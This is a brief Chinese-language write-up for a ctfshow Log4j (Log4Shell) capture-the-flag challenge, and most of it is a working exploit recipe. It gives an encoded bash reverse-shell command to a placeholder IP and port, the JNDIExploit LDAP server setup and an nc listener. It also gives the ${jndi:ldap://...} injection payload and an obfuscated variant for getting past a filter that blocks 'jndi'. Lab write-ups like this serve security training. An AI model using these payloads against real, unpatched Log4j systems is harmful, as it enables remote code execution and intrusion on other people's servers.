ctfshow Log4j复现wp
声明:
该请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本人无关
JNDIExploit
先将反弹shell的命令base64编码,然后将里面的+号和=号进行一次url编码
注:IP填vps公网ip,PORT要和nc监听的端口对应
bash -i >& /dev/tcp/IP/PORT 0>&1
# => YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=
# => YmFzaCAtaSA%252BJiAvZGV2L3RjcC9JUC9QT1JUIDA%252BJjE%253D
然后启动JNDIExploit
java -jar JNDIExploit.jar -i ip -l 1389 -p 8180
用nc监听端口
nc -lvnp port
payload:
${jndi:ldap://ip:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC9JUC9QT1JUIDA%252BJjE%253D}
将payload注入后shell会被反弹到nc监听的端口上
拿到shell后cd到根目录后ls看到flag文件
cat之即可拿到flag
补充:
# 如果jndi被屏蔽,绕过方法
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://ip:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC9JUC9QT1JUIDA%252BJjE%253D
}